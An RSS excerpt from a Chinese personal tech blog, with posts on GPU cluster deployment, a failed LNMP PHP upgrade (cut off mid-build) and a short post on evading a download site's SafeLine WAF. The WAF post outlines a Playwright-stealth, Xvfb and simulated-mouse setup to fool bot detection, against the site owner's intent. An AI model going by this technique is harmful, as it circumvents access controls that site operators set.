<p>- OpenClaw 官网：https://openclaw.ai/<br />
- Moltbot 项目：https://www.molt.bot/<br />
- AWS 部署指南：https://aws.amazon.com/cn/blogs/china/deploying-moltbot-to-the-cloud/</p>
</div>
<div class="ace-line ace-line old-record-id-GQ0YdT3qjowMQnxBcpTcFJ9znyb"></div>
<div class="ace-line ace-line old-record-id-SFUGdoynToEkMYxNOGfc4yuEnih"></div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wanjie.info/2026/02/openclaw/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>playwright-waf-bypass</title>
		<link>https://blog.wanjie.info/2026/01/playwright-waf-bypass/</link>
					<comments>https://blog.wanjie.info/2026/01/playwright-waf-bypass/#respond</comments>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Sat, 24 Jan 2026 01:08:24 +0000</pubDate>
				<category><![CDATA[network]]></category>
		<category><![CDATA[unix/linux]]></category>
		<category><![CDATA[chaitin]]></category>
		<category><![CDATA[chromium]]></category>
		<category><![CDATA[playwright]]></category>
		<category><![CDATA[waf]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4055</guid>

					<description><![CDATA[在AI的帮助下通过“假装有显示器”骗过长亭雷池 WAF，实现传统命令行下载文件。]]></description>
										<content:encoded><![CDATA[<h1>背景</h1>
<p>某个文档包下载站由于规避 pcdn 用户刷流量原因 上了 waf  防护, 以前能直接下载的文件现在  会报错 error 468 no description。</p>
<p>正确的解法有2种，1是申请白名单，2是浏览器真实访问下载。作为长期习惯下载命令下载文件的我，肯定不太习惯，于是在 AI 的帮助下，有了这篇使用 playwright 工具来对抗 waf 的文档，这里 记录一下。</p>
<p><span id="more-4055"></span></p>
<h1>步骤</h1>
<h2>先侦查</h2>
<h3>第一回合，传统方式</h3>
<p>改 uA 、上cookies、带  referrer，都无情的被拦截了，于是一点要先搞清 468 报错后面有啥，才能知己知彼, 一番折腾后，查看强行下载的 tar 包文件，发现了这段文字。<br />
<code><br />
"name":"雷池","name_en":"SafeLine","product":"长亭","community":"社区版","link":"https://waf-ce.chaitin.cn/","link_en":"https://waf.chaitin.com/","self":true}<br />
。。。<br />
{en:"Security Detection Powered By",zh:"安全检测能力由"},suffix:{en:"",zh:"驱动"},name:{en:window.product_data?.name_en+" WAF",zh:window.product_data?.name+" WAF"},link:{en:window.product_data?.link_en,zh:window.product_data?.link},decrypting:{en:"Dynamic Decrypting",zh:"网页被保护，正在解密中"},failed:{en:"Decryption Failed",zh:"解密失败"},blocking:{en:"Access Forbidden",zh:"访问已被拦截"},"attack-desc":{en:"Blocked For Attack Detected",zh:"请求存在恶意行为，已被管理员拦截"},<br />
。。。<br />
</code></p>
<p>下载页面确实被 长亭 雷池 waf.chaitin.com社区版保护了。</p>
<h2>研究对策</h2>
<p>几轮测试 拿到了这张图片，和前面雷池文字相似，说明有一个悄悄的验证。</p>
<p><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4056" src="https://blog.wanjie.info/wp-content/uploads/2026/01/waf_error-1030x579.png" alt="" width="1030" height="579" srcset="https://blog.wanjie.info/wp-content/uploads/2026/01/waf_error-1030x579.png 1030w, https://blog.wanjie.info/wp-content/uploads/2026/01/waf_error-300x169.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/01/waf_error-768x432.png 768w, https://blog.wanjie.info/wp-content/uploads/2026/01/waf_error-1536x864.png 1536w, https://blog.wanjie.info/wp-content/uploads/2026/01/waf_error-512x288.png 512w, https://blog.wanjie.info/wp-content/uploads/2026/01/waf_error.png 1920w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></p>
<h3>第二回合：AI 出场</h3>
<p>我边搜资料边问 ai 解法，ai给出了 playwright 这个工具。</p>
<p>AI 给的逻辑是使用  Playwright，加上会“演戏”的浏览器chrome ，配合 Xvfb 虚拟 1920×1080 大屏，24 位真彩，显卡号全配齐。</p>
<p>这样来测试下载。</p>
<h2>第三回合：伪装学大师</h2>
<p>AI 提示下 陆续安装了这些工具<br />
<code><br />
pip install playwright playwright-stealth<br />
playwright install-deps<br />
playwright install chromium<br />
apt-get install -y xvfb libgbm-dev</code></p>
<p>核心就一句：让浏览器以为自己在“真·有头”模式，实则后台跑在内存里下载。</p>
<p>配合：human_move()，手抖、加速、减速，轨迹，堪比期末考试划重点。<br />
点击方式：9 点矩阵地毯式轰炸，保证“雷池”小按钮无处遁形。</p>
<h1>通关</h1>
<p>总结，依旧是按照地址列表，走命令行方式完成下载，此处截图一张纪念。</p>
<h1><img loading="lazy" decoding="async" class="alignnone size-full wp-image-4057" src="https://blog.wanjie.info/wp-content/uploads/2026/01/waf-bypass.png" alt="" width="952" height="710" srcset="https://blog.wanjie.info/wp-content/uploads/2026/01/waf-bypass.png 952w, https://blog.wanjie.info/wp-content/uploads/2026/01/waf-bypass-300x224.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/01/waf-bypass-768x573.png 768w" sizes="auto, (max-width: 952px) 100vw, 952px" /></h1>
<p>可能问题</p>
<p>当然是 之后 waf 拦截方式升级，上验证码或算法之类，我这套办法就要废弃或继续改造了。因此，先低调的用吧。</p>
<p>&nbsp;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wanjie.info/2026/01/playwright-waf-bypass/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>AI infrastructure  experience</title>
		<link>https://blog.wanjie.info/2026/01/ai-infrastructure-experience/</link>
					<comments>https://blog.wanjie.info/2026/01/ai-infrastructure-experience/#respond</comments>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Sun, 18 Jan 2026 09:29:12 +0000</pubDate>
				<category><![CDATA[network]]></category>
		<category><![CDATA[GPU]]></category>
		<category><![CDATA[万卡]]></category>
		<category><![CDATA[集群]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4050</guid>

					<description><![CDATA[2025 AI基建实录：网络人硬刚千台GPU集群的血泪史。]]></description>
										<content:encoded><![CDATA[<h1>背景</h1>
<p>入行这么多年，一直混迹在网络管理或 最近数年K8S 私有化部署的软件层面。这两年虽然也开始折腾大模型，跟英伟达、沐曦、壁仞、燧原、天数（及其各类马甲）GPU 打交道，但主要集中在k8s 、驱动和模型适配的“软”层面上。</p>
<p>没成想，2025年底的最后一个多月，生活给了我一个大惊喜。我不小心一脚跨进了 GPU 硬件基础设施的深水区。正如标题所言，这是一场关于“AI 基础设施体验”的深度体验。</p>
<p>*(注：为了保住饭碗，具体客户和项目名已隐去，以下内容纯属硬核技术流水账)*</p>
<p><span id="more-4050"></span></p>
<h3>第一幕：销售嘴里“半天”的活儿</h3>
<p>故事的开始总是极其草率。</p>
<p>某个周四晚上，大概8点半，回家的地铁上，领导电话来了：“郊区机房有批 GPU 集群，你过去支持下性能测试就行，半天，顶多一天。”</p>
<p>我看着手机屏幕，心想：*真的是去机房跑个脚本的事吗？* 领导也表示怀疑，说去现场看了就知道了。</p>
<p>随后发来一张截图，上面列着几个生僻的测试名称和几个模糊不清的压测指标——这就是我当时的全部情报。当晚，我硬是靠着搜索引擎，把这些工具一个个下载下来，折腾到凌晨12点多，才勉强把测试环境包装进U盘。</p>
<p>第二天，揣着那个存满“弹药”的U盘，我满怀信心地杀向机房所在地。</p>
<p>到了现场，发现我前一晚准备的U盘工具白费了，这里基本都有。跟驻场工程师和项目经理一聊，冷汗就下来了。还卡在dhcp 装机 这个阶段摸索中，甚至连装机后的 ip地址都不敢固定，结果后面一堆冲突，测试基本是在u盘系统下搞的，<strong>这哪是性能测试啊，这分明是从零开始搞基建！</strong></p>
<p>那一刻，我深刻领悟了一个真理：<strong>销售的嘴，骗人的鬼。</strong></p>
<p>中午我意识到事情的严重，我厚着脸皮电话把领导请过来支援，第一天，我们直接干到凌晨3点。接下来的周末简直就是噩梦：3天睡了16小时，凌晨的机房边上的小黑屋成了第二个家。周日中午，销售和高层终于拉了个会议，把事情的全貌托盘而出——虽然晚了点，但好歹后方支援团队终于进来了。</p>
<p>接下来的十几天，凌晨1-3点下班是常态，甚至后面客户叫停了几天让我们短暂回血后，又是无休止的现场奋战。</p>
<div data-page-id="SRGTdYkhrowehYxBVzccAHZAn2c" data-lark-html-role="root" data-docx-has-block-data="false">
<h3>第二幕：机房里的“冰火两重天”与听觉轰炸</h3>
<p>虽然大部分时间我都在机房外的工作间里敲键盘，但只要进机房排查网口、模块或线路，那就是一场肉体的修行。</p>
<p>你要问我机房的体感？那是<strong>冰火两重天</strong>：机器前面吹过来的风是刺骨的冷，机器后面排出来的风是滚烫的热。</p>
<p>你要问我机房的听觉？那是一场无休止的工业噪音。<br />
整个机房的噪音从未低于过 80 分贝，一旦走到机器附近，基本都在 90 分贝上下徘徊。最要命的是某款 B 卡机器，开关机的时候简直像起飞一样，直接干到了 <strong>100 分贝以上</strong>。</p>
<p>*(此处插入手机分贝计截图为证：app提醒我是“割草机”、“地铁列车”的场景)*</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-4053" src="https://blog.wanjie.info/wp-content/uploads/2026/01/sound90-100.png" alt="" width="815" height="587" srcset="https://blog.wanjie.info/wp-content/uploads/2026/01/sound90-100.png 815w, https://blog.wanjie.info/wp-content/uploads/2026/01/sound90-100-300x216.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/01/sound90-100-768x553.png 768w" sizes="auto, (max-width: 815px) 100vw, 815px" /></p>
<p>每次进去排查，就像站在地铁隧道里等车。当天回家后我老实了，立马下单了好几副便携式降噪耳塞。后来偶尔进机房，哪怕只待几分钟，我也一定把耳塞塞得紧紧的。</p>
<p>有时候站在那轰鸣的机柜前，我不禁在想：<strong>要是这些机器将来交付后满负荷跑起来，这附近的噪音该有多恐怖啊？</strong></p>
</div>
<h3>第三幕：我在机房干了啥？（AI 也没我想的那么聪明）</h3>
<p>这一个多月，我到底在搞什么？看着这张充满错误的 AI 生成示意图（凑合看吧），我把这数百台设备（月底远程支持超数千台）的坑坑洼洼大概梳理了一下。</p>
<p>这张图是ai 画的，有不少错误，仅供参考。</p>
<p><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4051" src="https://blog.wanjie.info/wp-content/uploads/2026/01/Gemini_Generated_Image-cx8-server-1030x504.png" alt="" width="1030" height="504" srcset="https://blog.wanjie.info/wp-content/uploads/2026/01/Gemini_Generated_Image-cx8-server-1030x504.png 1030w, https://blog.wanjie.info/wp-content/uploads/2026/01/Gemini_Generated_Image-cx8-server-300x147.png 300w, https://blog.wanjie.info/wp-content/uploads/2026/01/Gemini_Generated_Image-cx8-server-768x376.png 768w, https://blog.wanjie.info/wp-content/uploads/2026/01/Gemini_Generated_Image-cx8-server.png 1280w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></p>
<h4>1. 物理装机与“灵魂”初始化</h4>
<p>首先是纯体力与脑力的结合。配合完成全部 GPU 服务器的上架、理线、上下电。（其实这部分是服务器厂商和机房运维等工程师干的，这样写，显得自己也吃了体力上的苦）<br />
针对某2款高端卡 H 卡和 B 卡两种机型，因为规格不同，我们对每批机器进行差异化 BIOS 配置、网卡模式切换、启动顺序调整。<br />
后来为了不被累死，眼睛不瞎，我写了几个脚本来采集 BMC 地址和业务网卡 MAC 地址还有其他信息。<strong>那一刻，效率提升不说，还没了人工手抄的差错，我觉得我终于开始有些收获了。</strong></p>
<h4>2. 网络“迷宫”搭建与玄学排查</h4>
<p>接下来是 IB（InfiniBand）网卡和第二业务网的静态 IP 配置。<br />
这块最折腾，特别是那几十台 B 卡机器，IB 卡地址配置后各种报错down。</p>
<ul>
<li><strong>互换排除法</strong>：排查掉卡或 IB 卡不通，很多时候是光纤模块或线的问题。这时候就得像换灯泡一样，在机房里把模块或线拔来拔去，通过互换定位故障点。</li>
<li>重启大法失灵：软件层面上故障，我们没招后一般会重启解决，ib 卡这边不吃这一套，越重启，掉的卡越多。然后又陷入回机房检查模块和线路的循环。</li>
<li><strong>冷重启的魔力</strong>：最近发现了几台奇怪的机器，某几个IB 卡down或者 GPU 掉卡，厂商报修换了模块都不行。结果同事试着<strong>冷重启主机（完全断电再上电）</strong>，居然就好了！看来与我们常说的重启大法不一样，硬件有时候也需要“断电重启”这一招大杀法。</li>
</ul>
<p>最后配合客户做完 GPU 节点的 IB 网络连通性测试和误码率测试或多机测试，针对发现的网段不通问题及时反馈并协助排查。</p>
<h4>3. 压测支持与掉卡“惊魂”</h4>
<p>早期全程跟进 GPU 集群压测、装机，从单节点到多机分布式。<br />
过程中不仅调脚本，还得处理各种奇葩问题：SSH 连不上、IB 网卡模式抽风、GPU 驱动兼容性冲突。<br />
最惊心动魄的是，临近第一波交付前一个周末，上午过来发现<strong>数百台节点有“掉卡” 而且ib卡名也全变了，发现压测的工程师半夜干了一个我至今没搞清具体啥破坏的事，反正我排查的现象是某个服务停了</strong>。这可是大事，我<strong>立即摇人，</strong>排查修复，下午确保集群相关服务正常，ib 卡全部测通，不然验收这关过不了。</p>
<h4>4. 自动化“外挂”</h4>
<p>为了省事，我定制了几个小镜像，借用 BMC 挂载 ISO 的能力，一口气配置好 2 块业务网卡（后期的存储服务器甚至得配 4 块）。ps. 这2波机器没走pxe 装机，直接用了厂商的u盘装机，没有配置网络。<br />
这一趟下来，大概写了 10 多个大小脚本。<strong>坦白说，其中一半的功劳得算在 AI 头上——毕竟我也是边问 AI 边写代码，主打一个“人机合一”。</strong></p>
<p>&nbsp;</p>
<h3>第四幕：两种“心酸”的碰撞</h3>
<p>回想起这两年的技术经历，真是两种不同的折磨：</p>
<p>以前适配<strong>国产 GPU</strong> 时，心酸在于<strong>“脑子累”</strong>。<br />
那时候面对的是一个个莫名其妙的驱动报错、框架不兼容。你在屏幕前死磕代码，联系厂商工程师要文档，那种无力感是逻辑层面的。你是在跟软件的缺陷博弈。</p>
<p>现在搞<strong>英伟达硬件基建</strong>，心酸在于<strong>“身子累”</strong>。<br />
现在是物理层面的攻击。你要忍受 100 分贝的噪音，忍受忽冷忽热的风，还要在几千根线缆里排查那个松动的模块。虽然英伟达的生态相对成熟，驱动问题少些，但当硬件规模上来后，物理连接、散热、电源、信号干扰……任何一个物理环节出问题，都会让你在机房里走到腿断。</p>
<p>以前是<strong>“为什么代码跑不通”</strong>的焦虑，现在是<strong>“为什么这块灯不亮”</strong>的崩溃，更崩溃的是，模块所有灯都正常，为何不通。可以说，一个折磨灵魂，一个折磨肉体。</p>
<h3>第五幕：当前卡住的 BOSS（Supermicro SUM vs MFT）</h3>
<p>虽然流程基本跑通了，但还留着一个让我头秃的遗留问题，特此记录，恳请各路大神指点：</p>
<p><strong>【场景描述】</strong><br />
H 服务器插了 10 张 CX-7 网卡：</p>
<ul>
<li><strong>Slot 9 和 11</strong>：作为业务网卡；</li>
<li><strong>其他 8 张</strong>：给 GPU 用的 IB 卡。</li>
</ul>
<p>网卡部分架构如下图</p>
<p><img loading="lazy" decoding="async" class="alignnone size-large wp-image-4052" src="https://blog.wanjie.info/wp-content/uploads/2026/01/cx7-12-1030x612.jpeg" alt="" width="1030" height="612" srcset="https://blog.wanjie.info/wp-content/uploads/2026/01/cx7-12-1030x612.jpeg 1030w, https://blog.wanjie.info/wp-content/uploads/2026/01/cx7-12-300x178.jpeg 300w, https://blog.wanjie.info/wp-content/uploads/2026/01/cx7-12-768x457.jpeg 768w, https://blog.wanjie.info/wp-content/uploads/2026/01/cx7-12-1536x913.jpeg 1536w, https://blog.wanjie.info/wp-content/uploads/2026/01/cx7-12-2048x1218.jpeg 2048w" sizes="auto, (max-width: 1030px) 100vw, 1030px" /></p>
<p>&nbsp;</p>
<p><strong>【核心痛点】</strong><br />
PXE 装机前，必须先把业务网卡模式和EFI Retry以及业务网卡启动顺序改对，否则装机会卡住，目前是纯人工手动设置的。</p>
<p><strong>【目前的坑】</strong><br />
我研究数天 <code>Supermicro Update Manager (SUM)</code>，发现这玩意儿在 UEFI BIOS 下搞不定这个事。问了几个 AI，它们众口一词：“你自己定制个包含 <code>mft</code>（主要是 <code>mlxconfig</code>）的工具，再加一系列脚本和镜像来实现。”</p>
<p>我这几天在就在这一步死磕摸索中。如果有大佬路过，欢迎不吝赐教！</p>
<h3>总结</h3>
<p>回想这一个多月，从最初某人口中的“半天兼职”，到现在硬刚 几千台设备的 AI 基础设施建设。<br />
虽然过程极其熬人，被噪音轰炸，被冷热交替折腾，看着凌晨三四点的机房天花板和机房外的小黑屋怀疑人生，回家后，发现附近的早餐点都开始营业了，你是啥感受，但看着集群绿灯常亮、压测通过的那一刻，那种成就感也是实打实的。</p>
<p>2025 的结尾，虽然没有诗和远方，但有 GPU、有脚本、有降噪耳塞（顺带最近2周还给老婆和自己各整了一幅降噪耳机），还有一群一起熬夜的兄弟，挺好。</p>
<p>&nbsp;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wanjie.info/2026/01/ai-infrastructure-experience/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>A Failed PHP Upgrade</title>
		<link>https://blog.wanjie.info/2025/10/lnmp-php-8-3-25-upgrade-failure-rollback/</link>
					<comments>https://blog.wanjie.info/2025/10/lnmp-php-8-3-25-upgrade-failure-rollback/#respond</comments>
		
		<dc:creator><![CDATA[wanjie]]></dc:creator>
		<pubDate>Tue, 14 Oct 2025 03:43:28 +0000</pubDate>
				<category><![CDATA[network]]></category>
		<category><![CDATA[521]]></category>
		<category><![CDATA[cmake]]></category>
		<category><![CDATA[libiconv]]></category>
		<category><![CDATA[libzip]]></category>
		<category><![CDATA[LNMP]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[PHP 8.0.30]]></category>
		<category><![CDATA[PHP 8.3.25]]></category>
		<category><![CDATA[PHP 升级]]></category>
		<category><![CDATA[zip_file_is_seekable]]></category>
		<guid isPermaLink="false">https://blog.wanjie.info/?p=4043</guid>

					<description><![CDATA[一次 LNMP 1.8 环境从 PHP 8.0.8 升级到 8.3.25 的失败复盘。作者按 ./upgrade.sh php 直接升级，连续遇到 OpenSSL 过旧导致 libzip 下载失败、cmake/libiconv 缺失、libzip 编译依赖、PHP 链接阶段 zip_file_is_seekable undefined reference 等问题，最终放弃 8.3.25，回退到 PHP 8.0.30 恢复站点。期间网站出现 521 停机约 1 天。文章记录了踩坑过程与回退经验，适合作为老 LNMP 节点升级 PHP 的避坑参考。]]></description>
										<content:encoded><![CDATA[<h1>背景</h1>
<p>最近偶尔更新博客时，后台会提示</p>
<p class="bigger-bolder-text">"您的站点正在运行过时版本的 PHP （8.0.8），其无法接收安全更新，且应当被升级。"</p>
<p>国庆假期有空，准备升个级，访问 https://www.php.net/releases/  发现最新的是今年8月发布的 8.3.25 ，没想到一路踩坑，</p>
<div>后果是导致网站停止访问1天:(  Web server is down Error code 521，记录一下这次失败的经历。</div>
<div></div>
<p><span id="more-4043"></span></p>
<article data-content="[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;3060-1621846615933&quot;,&quot;name&quot;:&quot;paragraph&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;p5PQ-1621846617594&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;Current PHP Version:8.0.8&quot;,&quot;marks&quot;:[]}]}],&quot;state&quot;:{}},{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;gRFS-1760235463769&quot;,&quot;name&quot;:&quot;paragraph&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;TFVh-1760235463768&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;./upgrade.sh php 8.3.25&quot;,&quot;marks&quot;:[]}]}],&quot;state&quot;:{}}]">
<div></div>
<h1>步骤</h1>
<div></div>
<div> 节点是 21年部署的lnmp1.8 ，4年多了，抱着简单粗暴的心理，直接执行了 ./upgrade.sh php 命令，返回</div>
<div>Current PHP Version:8.0.8  输入最新版的版本号 8.3.25，开始升级。</div>
<div></div>
</article>
<h2>过程中的坑点</h2>
<h3>提示libzip 问题</h3>
<p>于是下载编译 libzip，wget -c https://libzip.org/download/libzip-1.11.4.tar.gz 报错</p>
<article data-content="[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;Ciod-1760237760809&quot;,&quot;name&quot;:&quot;code&quot;,&quot;data&quot;:{&quot;wrap&quot;:false,&quot;language&quot;:&quot;&quot;,&quot;theme&quot;:&quot;default&quot;},&quot;nodes&quot;:[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;wigP-1760237760808&quot;,&quot;name&quot;:&quot;code-line&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;Fmmm-1760237760807&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;wget -c https://libzip.org/download/libzip-1.11.4.tar.gz&quot;,&quot;marks&quot;:[]}]}]}],&quot;state&quot;:{}}]">
<div data-theme="default" data-language="">
<article data-content="[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;Ciod-1760237760809&quot;,&quot;name&quot;:&quot;code&quot;,&quot;data&quot;:{&quot;wrap&quot;:false,&quot;language&quot;:&quot;&quot;,&quot;theme&quot;:&quot;default&quot;},&quot;nodes&quot;:[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;9RxG-1760237761769&quot;,&quot;name&quot;:&quot;code-line&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;NdWo-1760237761768&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;OpenSSL: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure&quot;,&quot;marks&quot;:[]}]}]}],&quot;state&quot;:{}}]">
<div data-theme="default" data-language="">OpenSSL: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure</div>
</article>
<div data-theme="default" data-language="">
<article data-content="[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;Ciod-1760237760809&quot;,&quot;name&quot;:&quot;code&quot;,&quot;data&quot;:{&quot;wrap&quot;:false,&quot;language&quot;:&quot;&quot;,&quot;theme&quot;:&quot;default&quot;},&quot;nodes&quot;:[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;0Jz1-1760237761773&quot;,&quot;name&quot;:&quot;code-line&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;fqXf-1760237761772&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot; curl -k https://libzip.org/download/libzip-1.11.4.tar.gz -LO&quot;,&quot;marks&quot;:[]}]}]}],&quot;state&quot;:{}}]">
<div data-theme="default" data-language="">换curl下载 curl -k https://libzip.org/download/libzip-1.11.4.tar.gz -LO</div>
<div data-theme="default" data-language="">报错 curl: (35) Cannot communicate securely with peer: no common encryption algorithm(s).</div>
</article>
</div>
<article data-content="[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;Ciod-1760237760809&quot;,&quot;name&quot;:&quot;code&quot;,&quot;data&quot;:{&quot;wrap&quot;:false,&quot;language&quot;:&quot;&quot;,&quot;theme&quot;:&quot;default&quot;},&quot;nodes&quot;:[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;9RxG-1760237761769&quot;,&quot;name&quot;:&quot;code-line&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;NdWo-1760237761768&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;OpenSSL: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure&quot;,&quot;marks&quot;:[]}]}]}],&quot;state&quot;:{}}]">
<div data-theme="default" data-language=""></div>
<div data-theme="default" data-language="">原因是节点openssl 太老了 openssl version</div>
<div data-theme="default" data-language="">
<article data-content="[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;Im8E-1760237760810&quot;,&quot;name&quot;:&quot;paragraph&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;GZjI-1760237760811&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;openssl version&quot;,&quot;marks&quot;:[]}]}],&quot;state&quot;:{}},{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;CgEu-1760237773980&quot;,&quot;name&quot;:&quot;paragraph&quot;,&quot;data&quot;:{&quot;version&quot;:1},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;d6Cr-1760237773979&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;OpenSSL 1.0.2k-fips  26 Jan 2017&quot;,&quot;marks&quot;:[]}]}],&quot;state&quot;:{}}]">
<div>OpenSSL 1.0.2k-fips 26 Jan 2017</div>
</article>
<div>发现最低也要 OpenSSL 1.1.1n 15 Mar 2022</div>
<div>先绕行，其它节点下载了拷贝过来</div>
</div>
</article>
</div>
</article>
<p>接着编译 libzip  ，过程又提示 cmake 没有，要先安装。</p>
<article data-content="[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;7vFQ-1760237460291&quot;,&quot;name&quot;:&quot;code&quot;,&quot;data&quot;:{&quot;version&quot;:1,&quot;language&quot;:&quot;&quot;,&quot;theme&quot;:&quot;default&quot;},&quot;nodes&quot;:[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;FkyI-1760238599805&quot;,&quot;name&quot;:&quot;code-line&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;o5OQ-1760238599804&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;yum groupinstall -y \&quot;Development Tools\&quot;&quot;,&quot;marks&quot;:[]}]}]},{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;bIVv-1760237504487&quot;,&quot;name&quot;:&quot;code-line&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;5NoK-1760237504486&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;yum install -y zlib-devel&quot;,&quot;marks&quot;:[]}]}]}],&quot;state&quot;:{}}]">
<div data-theme="default" data-language="">yum groupinstall -y "Development Tools"  zlib-devel</div>
</article>
<div data-theme="default" data-language=""></div>
<ul>
<li data-theme="default">编译cmake</li>
</ul>
<div data-theme="default" data-language="">
<pre class="urvanov-syntax-highlighter-plain-tag">curl -O https://cmake.org/files/v3.10/cmake-3.10.0-Linux-x86_64.tar.gz
tar -zxvf cmake-3.10.0-Linux-x86_64.tar.gz
sudo mv cmake-3.10.0-Linux-x86_64 /usr/local/cmake
# 将CMake添加到环境变量
echo 'export PATH=/usr/local/cmake/bin:$PATH' &gt;&gt; ~/.bashrc
source ~/.bashrc
# 验证版本
cmake --version</pre></p>
<ul>
<li>继续编译 libzip</li>
</ul>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag">wget -c https://libzip.org/download/libzip-1.11.4.tar.gz
tar -zxvf libzip-1.11.4.tar.gz
cd libzip-1.11.4
mkdir build &amp;&amp; cd build
cmake ..
make
sudo make install

# 将库路径添加到系统配置
echo '/usr/local/lib64' | sudo tee /etc/ld.so.conf.d/local.conf
echo '/usr/local/lib' | sudo tee -a /etc/ld.so.conf.d/local.conf
# 更新库缓存
sudo ldconfig

# 设置 pkg-config 路径

export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig:/usr/local/lib64/pkgconfig:$PKG_CONFIG_PATH

# 验证 pkg-config 是否能找到 libzip
pkg-config --libs --cflags libzip</pre><p>
</p></div>
<h3>编译 libiconv</h3>
<p>接着编译php，发现 提示缺 libiconv，解决下</p>
<article data-content="[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;cszB-1760236937058&quot;,&quot;name&quot;:&quot;code&quot;,&quot;data&quot;:{&quot;wrap&quot;:false,&quot;language&quot;:&quot;&quot;,&quot;theme&quot;:&quot;default&quot;},&quot;nodes&quot;:[{&quot;type&quot;:&quot;block&quot;,&quot;id&quot;:&quot;J5ZF-1760236938639&quot;,&quot;name&quot;:&quot;code-line&quot;,&quot;data&quot;:{},&quot;nodes&quot;:[{&quot;type&quot;:&quot;text&quot;,&quot;id&quot;:&quot;GrXh-1760236938638&quot;,&quot;leaves&quot;:[{&quot;text&quot;:&quot;libiconv&quot;,&quot;marks&quot;:[]}]}]}],&quot;state&quot;:{}}]">
<div data-theme="default" data-language="">
<pre class="urvanov-syntax-highlighter-plain-tag">cd /root/lnmp1.8-full/src
wget https://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.17.tar.gz
tar -zxvf libiconv-1.17.tar.gz
cd libiconv-1.17
./configure --prefix=/usr/local/libiconv
make &amp;&amp; make install</pre>
</div>
<h2>正式编译 php<img loading="lazy" decoding="async" class="alignnone size-full wp-image-4086" src="https://blog.wanjie.info/wp-content/uploads/2026/10/php8.jpg" alt="" width="1168" height="784" /></h2>
<p></p><pre class="urvanov-syntax-highlighter-plain-tag">cd /root/lnmp1.8-full/src
tar -jxvf php-8.3.25.tar.bz2
cd php-8.3.25
